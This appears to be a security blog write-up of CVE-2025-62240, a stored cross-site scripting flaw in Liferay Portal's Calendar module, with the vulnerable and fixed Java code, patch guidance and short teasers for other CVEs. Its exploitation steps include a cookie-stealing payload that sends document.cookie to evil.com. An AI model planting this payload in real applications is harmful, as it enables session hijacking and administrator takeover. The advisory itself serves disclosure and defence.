Jan 30, 2026·6 min read·23 visits
Stored XSS in Liferay Portal Calendar (CVE-2025-62240) allows attackers to inject malicious scripts into their profile names. These scripts execute when other users view calendar events, potentially leading to session hijacking and account takeover.
A critical Stored Cross-Site Scripting (XSS) vulnerability in Liferay Portal's Calendar module turns mundane meeting invites into weaponized payloads. By neglecting to sanitize user names within the calendar resource JSON serialization, the application allows attackers to execute arbitrary JavaScript in the browser of any user—including administrators—who views the schedule.
Enterprise portals are the digital equivalent of a sprawling, bureaucratic office building. You have document libraries, message boards, and, of course, the humble Calendar. It's the boring utility that everyone ignores until it breaks. But for a hacker, 'boring' usually translates to 'audit-neglected,' and that is exactly where CVE-2025-62240 lives.
Here is the scenario: You are a standard user on a Liferay Portal instance. You don't have administrative rights. You can't upload plugins. But you do have a name. And the system trusts that name implicitly. This vulnerability is a classic case of 'Internal Trust Fallacy'—the developers assumed that because data (like a user's first and last name) came from the internal database, it was safe to render without protection.
Spoilers: It wasn't. This isn't some complex memory corruption or a heap overflow. This is a logic error in how the application serializes objects to JSON. It is the digital equivalent of accepting a package from a known sender but forgetting that the sender might have packed a pipe bomb inside. When the Calendar module fetches resources (attendees, rooms, equipment), it inadvertently drags in your malicious payload and serves it up on a silver platter to anyone checking their schedule.
Let's talk about the root cause. The vulnerability resides in com.liferay.calendar.web, specifically in how it constructs the JSON object for calendar bookings. In modern web apps, the server often sends raw JSON to the frontend, and the frontend JavaScript framework handles the rendering. If the frontend uses dangerous sinks (like innerHTML in vanilla JS or v-html in Vue), you get XSS.
However, in this specific case, the failure happened during the JSON construction phase on the backend. The method CalendarUtil.toCalendarBookingJSONObject is responsible for taking a database entity—a CalendarBooking—and converting it into a format the UI understands. Part of that data includes the 'Calendar Resource,' which is Liferay-speak for the entity associated with the calendar (often a User).
The code grabs the name of the resource (e.g., 'John Doe') and stuffs it directly into the JSON response. The fatal mistake? It assumed calendarResource.getName() returned safe text. But getName() returns whatever is in the database. If I change my name to <script>alert(1)</script>, the database stores it happily, and this function retrieves it happily. The chain of custody for sanitization was broken.
Let's look at the actual Java code. It's rare we get a diff this clean that perfectly illustrates the 'before' and 'after' of a security mindset. The vulnerable code was located in modules/apps/calendar/calendar-web/src/main/java/com/liferay/calendar/web/internal/util/CalendarUtil.java.
Here is the vulnerable implementation:
// The Vulnerable Code
return calendarResource.getName(themeDisplay.getLocale());See that? Raw input, raw output. The developer simply asked for the name and returned it. Now, look at the fix provided in commit 961b569fbd9207c728a93d962e989dbc062f6fb6. The engineers at Liferay wrapped the call in a sanitizer:
// The Fixed Code
return HtmlUtil.escape(
calendarResource.getName(themeDisplay.getLocale()));The addition of HtmlUtil.escape() is the magic shield. It converts characters like < into < and > into >. This ensures that when the browser parses the JSON response, it treats the payload as a string literal rather than executable markup. It is a one-line fix for a vulnerability that could compromise the entire portal.
Now for the fun part: How do we break it? This is a Stored XSS vector, which is the most dangerous kind because the attack is persistent. It doesn't require phishing a user with a weird link; the trap is laid in the application itself.
Step 1: The Setup Log in as a low-privileged user. Navigate to your Account Settings. Liferay allows users to update their First, Middle, and Last names.
Step 2: The Injection In the 'First Name' or 'Middle Name' field, inject a standard XSS payload. Something simple to test, or something nasty for red teaming:
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">Step 3: The Trigger Create a Calendar Event. Invite others, or simply let the event exist on a shared calendar. The system links this event to your 'Calendar Resource' (your user profile).
Step 4: The Execution
Wait. When an Administrator views the calendar to check the week's schedule, the backend toCalendarBookingJSONObject method runs. It pulls your malicious name from the DB, fails to escape it, and sends it to the Admin's browser. The Admin's browser sees the <img> tag, tries to load x, fails, fires onerror, and sends the Admin's session cookies to your server.
You might look at the CVSS score of 5.4 (Medium) and think, 'Eh, I'll patch this next month.' That would be a mistake. CVSS scores often fail to capture context. In a complex portal environment like Liferay, an XSS vulnerability isn't just about defacing a page.
If you can execute JavaScript in the context of a Liferay Administrator, you own the instance. An attacker can use XSS to:
JSESSIONID or OAuth tokens.So, while the CVE says 'Medium,' the reality is 'Critical' if you value the integrity of your server. This is a direct path from 'Low Privileged User' to 'System Root'.
Fortunately, the fix is straightforward. You need to sanitize the output before it hits the wire. If you are running Liferay Portal or DXP, you have two primary options:
com.liferay.calendar.web and ensure it is version 5.0.88 or greater.> [!NOTE]
> Since this is a Stored XSS, simply patching the code might not clean up the database. If an attacker has already injected a payload, the patch prevents it from rendering, but the bad data remains. It is good practice to audit your User_ tables for suspicious characters (<, >, script, javascript:) after patching.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Liferay Portal Liferay | 7.4.3.35 - 7.4.3.111 | 7.4.3.112 |
Liferay DXP Liferay | 7.4 Update 35 - 92 | Update 93 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 | 5.4 (Medium) |
| CVSS v4.0 | 4.8 (Medium) |
| Privileges Required | Low (User) |
| Impact | Session Hijacking / Potential RCE |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.
CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.
The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.
GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.
The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.
The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.